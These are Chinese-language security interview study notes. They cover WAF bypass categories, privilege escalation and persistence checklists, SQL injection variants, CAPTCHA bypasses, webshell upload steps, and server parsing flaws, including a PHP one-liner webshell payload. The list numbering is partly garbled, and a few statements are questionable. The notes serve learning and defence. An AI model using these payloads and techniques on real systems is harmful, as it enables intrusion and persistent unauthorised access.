网络安全知识
1. 计算机网络
2. 操作系统
3. 安全类
3.1 概念类
信息安全的基本属性
信息安全的基本属性主要表现在以下5个方面:
- 保密性,保证信息为授权者享用而不泄漏给未经授权者。
- 完整性,保证信息从真实的发信者传送到真实的收信者手中,传送过程中没有被非法用户添加、删除、替换等。
- 可用性,保证信息和信息系统随时为授权者提供服务,保证合法用户对信息和资源的使用不会被不合理的拒绝。
- 可控性,出于国家和机构的利益和社会管理的需要,保证管理者能够对信息实施必要的控制管理,以对抗社会犯罪和外敌侵犯。
- 不可否认性,人们要为自己的信息行为负责,提供保证社会依法管理需要的公证、仲裁信息证据。
渗透测试执行标准的7个阶段
- 前期交互
- 信息收集
- 威胁建模
- 漏洞分析
- 漏洞利用
- 后渗透
- 编写报告
内网渗透的流程
端口转发的原理
端口转发和端口映射的区别 - renblog - 博客园 (cnblogs.com)
端口转发和端口映射都是为了解决内网主机的端口无法在外部直接访问而衍生出来的技术,通过中间服务器进行中转,将内部的端口映射到公网IP上或者将内部端口转发到外部服务器,供用户或者自己来使用。
端口映射与端口转发,用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。端口映射与端口转发实现的功能类似,但又不完全一样。端口映射是将外网的一个端口完全映射给内网一个地址的指定端口,而端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口。端口映射可以实现外网到内网和内网到外网双向的通信,而映射转发只能实现外网到内网的单向通信。
WAF及绕过
WAF又称为Web应用防护系统,通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。工作在==应用层==,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,从而对各类网站站点进行有效防护。
Web应用防火墙可以防止Web应用免受各种常见攻击,比如SQL注入,跨站脚本漏洞(XSS)等。WAF也能够监测并过滤掉某些可能让应用遭受DOS(拒绝服务)攻击的流量。WAF会在HTTP流量抵达应用服务器之前检测可疑访问,同时,它们也能防止从Web应用获取某些未经授权的数据。
WAF硬件部署方式:
透明代理模式(网桥代理模式)
WAF代理了WEB客户端和服务器之间的会话,并对客户端和server端都透明。从WEB客户端的角度看,WEB客户端仍然是直接访问服务器,感知不到WAF的存在。
这种部署模式的优点是对网络的改动最小,通过WAF的硬件(Bypass)绕过功能在设备出现故障或者掉电时可以不影响原有网络流量,只是WAF自身功能失效。
缺点是网络的所有流量都经过WAF,对WAF的处理性能要求高。采用该工作模式无法实现负载均衡功能。
反向代理模式
反向代理模式是指将真实服务器的地址映射到反向代理服务器上,此时代理服务器对外就表现为一个真实服务器。当代理服务器收到HTTP的请求报文后,将该请求转发给其对应的真实服务器。后台服务器接收到请求后将响应先发送给WAF设备,由WAF设备再将应答发送给客户端。
这种部署模式需要对网络进行改动,配置相对复杂,除了要配置WAF设备自身的地址和路由外,还需要在WAF上配置后台真实WEB服务器的地址和虚地址的映射关系。
优点则是可以在WAF上实现负载均衡
路由代理模式
它与网桥透明代理的唯一区别就是该代理工作在路由转发模式而非网桥模式,其它工作原理都一样。由于工作在路由(网关)模式因此需要为WAF的转发接口配置IP地址以及路由。
这种部署模式需要对网络进行简单改动,要设置该设备内网口和外网口的IP地址以及对应的路由。工作在路由代理模式时,可以直接作为WEB服务器的网关,但是存在单点故障问题,同时也要负责转发所有的流量。该种工作模式也不支持服务器负载均衡功能。
离线模式
WAF只对HTTP流量进行监控和报警,不进行拦截阻断。该模式需要使用交换机的端口镜像功能,也就是将交换机端口上的HTTP流量镜像一份给WAF。对于WAF而言,流量只进不出。
这种部署模式不需要对网络进行改动,但是它仅对流量进行分析和告警记录,并不会对恶意的流量进行拦截和阻断,适合于刚开始部署WAF时,用于收集和了解服务器被访问和被攻击的信息,为后续在线部署提供优化配置参考。这种部署工作模式,对原有网络不会有任何影响。
waf的绕过主要就是防护规则的绕过,比如白名单绕过、大小写绕过、双写绕过、编码绕过、内联注释绕过、修改请求方式绕过、复参数绕过特殊字符替换空格等。
后渗透
后渗透阶段总结(提权+信息收集+内外渗透+后门) - 简书 (jianshu.com)
权限提升:提权,权限维持
windows:1
2
3
41:systeminfo查看补丁
2:sc命令(从administrator-system)
3:UAC权限机制(msf:ask,bypassuac等机制)
4: 不带引号的服务路径linux:
1
2
3
4
51:内核提权(uname -a)
2:suid提权(cp ,find,vim)
3:c文件编译后执行提权
4:定时任务提权
5:token欺骗mysql :
1
2
31 :udf提权(udf扩展程序)
2: mof(写入代码,让SQL执行,多少时间执行一次)
3:启动项(写入vbs)信息收集:服务器信息,sniff数据包(svn,http,ftp等) ,hash,关闭防火墙杀毒软件
内网渗透:开启3389,端口转发,代理/跳跳板攻击
后门植入:永久后门维持权限
OWASP TOP10
| 版本 | OWASP TOP 10 2013 | OWASP TOP 10 2017 |
|---|---|---|
| A1 | Injection 注入攻击 | Injection 注入攻击 |
| A2 | Broken Authentication and Session Management 失效的验证与连接管理 | Broken Authentication 失效的身份验证 |
| A3 | Cross-Site Scripting (XSS) 跨站脚本攻击 | Sensitive Data Exposure 敏感数据泄露 |
| A4 | lnsecure Direct Ojbect References 不安全的直接对象引用 | XML External Entity (XEE) XML外部实体漏洞 |
| A5 | Security Misconfiguration 安全配置错误 | Broken Access Control 无效的访问控制 |
| A6 | Sensitive Data Exposure 敏感数据泄露 | Security Misconfiguration 安全配置错误 |
| A7 | Missiojn Funciton Level Access Control 缺少功能级别的访问控制 | Cross-Site Scripting (XSS) 跨站脚本攻击 |
| A8 | Cross-Site Request Forgery (CSRF) 跨站请求伪造 | lnsecure Deserialization 不安全的反序列化漏洞 |
| A9 | Using Components with Known Vulnerabilities 使用含有已知漏洞的组件 | Using Known VulnerableComponents 使用含有已知漏洞的组件 |
| A10 | Unvalidated Redirects and Forwards 未验证的重定向与转发 | lnsuficient Logging & Monitoring 日志与监控不足 |
3.2 逻辑类
Json劫持
- 用户浏览器上保存了 HTTP 的身份认证信息和相关的cookie缓存
- 用户点击了恶意的链接,此时用户的浏览器会向恶意的网站发送 GET 请求
- 恶意网站响应用户的请求并返回恶意 JavaScript 语句,当用户的浏览器运行这些 JavaScript 语句时,它就会执行这段代码,访问目标网站,并将数据发送给恶意网站
- 恶意网站处理收到的 Json 数据
验证码绕过
- 前端验证验证码,并没有后端验证。直接抓包然后进行跑数据包,反正有没有验证码的阻碍。
- 验证码设置了但是并没有效验,乱输验证码也能够成功的登录。
- 验证码可以重复使用。
- 验证码空值绕过。(比如,我们现在抓一个包,发现登录参数是user=admin&password=admin&yzm=4123。 yzm验证码参数,但是我们如果去掉yzm的传参我们就可以绕过验证码机制,直接传参user=admin&password=admin,验证码就失效了)
- 验证码干扰过低,轻松使用脚本识别。
- 验证码会在HTML页面输出。
- 验证码可控制。(比如他的验证码包含在URL里面,是一个URL传参,我们可以把URL设置定,那么验证码可控制)
- 验证码有规则。(比如是时间戳的后6位(rand函数进行随机数))
- 有万能验证码,验证码无论是什么,只要输入000000就能直接绕过
- 验证码有的时候会藏在cookie里面,分析一下是不是存在验证码的参数
- 图片验证码,类型太少,容易识别
web日志溯源攻击路径的思路
首先确定受到攻击的时间范围,以此为线索,查找这个时间范围内可疑的日志,根据可疑ip、攻击特征等进一步排查(WEB日志会记录客户端对WEB应用的访问请求,这其中包括正常用户的访问请求和攻击者的恶意行为。
通过大量的分析,我们发现攻击者在对网站入侵时,向网站发起的请求中会带有特定的攻击特征,如利用WEB扫描器在对网站进行漏洞扫描时往往会产生大量的404错误日志,当有攻击者对网站进行SQL注入漏洞探测时,WEB访问日志中通常会出现and 1=1等字样),最终锁定攻击者,确认攻击的手段,还原攻击过程。
3.3 漏洞类
SQL注入
mysql 5.0版本前后有什么区别
MySQL 5.0以上版本存在一个存储着数据]库信息的信息数据库–INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。 而5.0以下没有。
SQL注入的无回显形式是怎样的?
时间盲注:适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确
布尔盲注:Bool盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。不需要返回结果,仅判断语句是否正常执行
Bool盲注中通常会配套使用一些判断真假的语句来进行判定。常用的发现Bool盲注的方法是在输入点后面添加and 1=1和and 1=2
有时候我们可能会遇到将1=1过滤掉的SQL注入点,这时候我们可以通过修改关键字来绕过过滤,比如将关键字修改为不常见的数值(如1352=1352等)。
在字符串型注入的时候我们还需要绕过单引号,将Payload修改为如下格式’and’1’=’1和’or’1’=’2来闭合单引号(第一个引号闭合原句中引号,原句中后面的引号拼接到语句中了)
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。DNS log注入(利用DNS在解析的时候会留下有用的日志)DNSlog注入只能用于windows系统
宽字节注入?
宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
1 | |
文件上传、包含
上传webshell步骤
- 进入后台寻找上传点
- 尝试正常上传
- 木马上传
- 使用菜刀连接
图片上传拿webshell
- 正常上传头像并抓包
- 将数据包中图片的内容部分删掉
- 将大马压缩并写入到原本图
- 上传之后返回包中得到绝对路径
Apache,IIS,Nginx的文件解?
- Apache解析漏洞。
它是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如upupimage.php.owf.rar “.owf”和”.rar”?这两种后缀是apache不可识别解析,apache就会把upupimage.php.owf.rar解析成php. - IIS 解析漏洞。
一是IIS5.x/6.0中的/xx.asp/xx.jpg ,网站下建立文件夹的名字为.asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
二是123.asp;.jpg会被服务器看成是123.asp,IIS6.0 默认的可执行文件除了asp还包含这三种/upupimage.asa/upupimage.cer /upupimage.cdx - nginx解析漏洞。
一是nginx默认Fast-CGI开启状况下,黑阔上传一个名字为upupimage.jpg,内容为<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>‘);?>的文件,然后访问upupimage.jpg/.php,在这个目录下就会生成一句话木马 shell.php。
二是Nginx在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码,影响版:0.5.,0.6.,0.7 <= 0.7.65, 0.8 <= 0.8.37
代码审计
- 浏览源码文件夹,了解网络结构、程序的大致目录;
- 找入口文件。文件一般是整个程序的入口,详细读一下index文件可以知道程序的架构运行流程、包含哪些配置文件、包含哪些过滤文件以及包含哪些安全过滤文件了解程序的业务逻辑;
- 找配置文件。一般类似config.php 等文件,保存一些数据库相关的信息,程序的一些信息。先看看数据库编码,如果是gbk则可能存在宽字节注入,如果变量的值用双引导,则可能存在双引导解析代码执行问题;
- 过滤规则:通过详细读 公共函数文件 和 安全过滤 等文件,清晰掌握用户输入的数据,哪些被过滤,哪些无过滤,在哪里被过滤,如何被过滤的;能否绕过过滤的数据,过滤的方式是替换还是正则?有没有GPC?有没有使用过滤函数处理
根据敏感函数,逆向追踪参数传递过程:这个方法最高效,最常用的方法,多数漏洞的产生都是因为函数的使用不当导致的,只需要找到使用不当的函数,就可以快速挖掘想要的的漏洞,软件 ‘Seay源码审计系统’,主要利用正则匹配一些高危函数,关键函数和敏感关键词,尝试控制可控的参数变量。
定向功能分析法:主要根据程序的业务逻来说审计的,用浏览器逐个访问浏览,看看这套程序有哪些功能,根据相关的功能,大概推测可能存在哪些漏洞
程序的初始安装- 站点信息泄露
- 文件上传
- 文件管理
- 登陆认证
- 数据库备份恢复
- 找回密码
- 验证码
反序列化
PHP反序列化
在开发的过程中常常遇到需要把对象或者数组进行序列号存储,反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时,我们时常需要将数组进行序列化操作。
- php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
- php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
常见的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode。
心脏滴血漏洞产生的原因,危害
OpenSSL是为网络通信提供安全及数据完整性的一种安全协议,OpenSSL 有一个叫Heartbeat(心跳检测)的拓展,问题就出在这个拓展上,这也是漏洞被命名为“心脏出血”的直接原因。
所谓心跳检测,就是建立一个Client Hello问询来检测对方服务器是不是正常在线,服务器发回Server hello,表明正常建立SSL通讯。就像我们打电话时会问对方“喂听得到吗?”一样。
每次问询都会附加一个问询的字符长度pad length。此时,bug来了,如果这个pad length大于实际的长度,服务器仍是会返回相同规模的字符信息,于是形成了内存里信息的越界访问。
就这样,每发起一个心跳,服务器就能泄露一点点数据(理论上最多泄露 64K),这些数据里可能包括用户的登录账号密码、电子邮件甚至是加密密钥等信息,也可能并没有包含这些信息,但攻击者可以不断利用“心跳”来获取更多的信息。就这样,服务器一点一点泄露越来越多的信息,就像是心脏慢慢在出血,“心脏出血”漏洞的名字由此而来。
linux主机留后门的各种方式
Linux、Windows权限维持常用后门学习总结 - 知乎 (zhihu.com)
XSS和CSRF的区别
- CSRF:用户登录信任网站在未退出的情况下访问攻击者构造的恶意网站,恶意网站发出访问第三方网站的请求,信任网站收到请求以用户信息访问,攻击者在用户不知情的情况下冒充用户身份访问成功。
- XSS:向网站 A 注入 JS代码,然后执行 JS 里的代码,达到篡改网页内容、窃取用户cookie等目的
- 区别:XSS诱骗用户点击恶意链接盗取用户cookie进行攻击、不需要用户进行登录;CSRF无法获取用户的cookie,而是直接冒充用户、需要用户登录后进行操作。